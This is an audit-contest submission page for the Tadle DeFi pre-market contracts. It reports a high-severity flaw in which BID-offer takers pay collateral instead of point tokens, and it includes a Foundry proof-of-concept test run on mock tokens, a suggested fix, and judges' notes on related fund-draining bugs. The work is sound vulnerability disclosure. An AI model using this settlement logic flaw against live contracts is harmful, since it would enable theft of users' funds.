Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Bid offer points are never paid by the taker

dadekuma

Summary

BID offers are paid with collateral instead of token points, so the maker will not receive any points; they pay to get nothing in return.

I suggest to read my previous issue before reading this one, as it gives more context to understand it:
Bid offer points are taken from the maker instead of the taker

They have different root causes and fixes, so they are 2 separate issues.

Vulnerability Details

  1. Alice creates a BID offer for 1000 points and 2000 collateral

  2. Bob creates an ASK order to sell 400 points, he sends 800 collateral

  3. The issue is that Bob paid with collateral instead of token points and he has zero liability to send any point tokens

  4. Alice settles 400 points on Bob's order. The problem is, she must send her own 400 points to close the order (The current logic "works" because she buys her own points, but this is described in the previous issue)

  5. Alice will never receive her points as no one sent them

  6. Bob gets his collateral back minus the small trading fee

Fix the previous issue before this one to fully understand the impact of this issue.

Poc, run forge test --via-ir --match-test test_h5_bid_offer_steals_points -vv.

function test_h5_bid_offer_steals_points() public {
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 2000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Bid,
OfferSettleType.Protected
)
);
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 400;
preMarktes.createTaker(offer0Addr, bobPoints);
// save bob balance after order
address stock1Addr = GenerateAddress.generateStockAddress(1);
vm.stopPrank();
​
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
deal(address(mockPointToken), alice, alicePoints);
mockPointToken.approve(address(tokenManager), type(uint256).max);
​
// alice has to settle with her own points? but she's buying them?
deliveryPlace.settleAskTaker(stock1Addr, 400);
deliveryPlace.closeBidOffer(offer0Addr);
vm.stopPrank();
​
uint256 tokenAmount;
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 1200 * 1e18, "refund alice");
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 800 * 1e18, "cash alice");
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 400 * 1e18, "token alice");
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 0 * 1e18, "sales alice");
​
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0, "refund bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0, "cash bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 0 * 1e18, "token bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 800 * 1e18, "sales bob");
​
// withdraw alice
vm.startPrank(alice);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
​
// This should fail because no one transfered any tokens. It works thanks to another bug, described in
// "BID offers result in withdrawal of collateral instead of point token"
// basically users withdraw the collateral token instead of point token
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
vm.stopPrank();
​
// withdraw bob
vm.startPrank(bob);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
vm.stopPrank();
​
// alice collateral stays the same. The +(400 * 1e18) is due to the bug described above
assertEq(mockUSDCToken.balanceOf(alice), aliceInitialBalance + 400 * 1e18, "alice collateral balance");
​
// alice did not receive any points.
// if "Bid offer points are taken from the maker instead of the taker" is not fixed, she lost points instead
assertEq(mockPointToken.balanceOf(alice), alicePoints - 400 * 1e18, "alice point token balance");
​
// bob didn't earn anything by selling points; he lost money instead
assertEq(mockUSDCToken.balanceOf(bob), bobInitialBalance - 4 * 1e18, "bob collateral balance");
​
// bob point balance is always zero
assertEq(mockPointToken.balanceOf(bob), 0, "bob point token balance");
} // forge test --via-ir --match-test test_h5_bid_offer_steals_points -vv

Impact

Impact: High (Loss of user funds, BID makers can't withdraw any points)
Likelihood: High (It will happen without pre-conditions)

Risk: Critical

Tools Used

Manual review

Recommendations

It's difficult to recommend a solution because it's a big change, and it impacts the business logic on multiple levels.

The main issue is that the taker has no liability to send points (they recoup the entire collateral when the BID offer is closed minus the trading fee).

A solution could be to send point tokens instead of the collateral in PreMarktes.createTaker. Taxes can be applied to the deposited points.
In PreMarktes, change _depositTokenWhenCreateTaker so that for BID offers, token points are transferred instead of the collateral.

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/PreMarkets.sol#L212-L216

Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-turbo-settleAskMaker-exploit-settlement

Valid high severity, this allows resellers listing offers via `listOffer/relistOffer` to game the system. Based on the inherent design of Turbo mode not requiring takers making ask offers for the original maker offer to deposit collateral, the wrong refund of collateral to takers even when they did not deposit collateral due to turbo mode during settleAskMaker allows possible draining of pools.

Appeal created

0xbrivan2 Auditor
12 months ago
0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.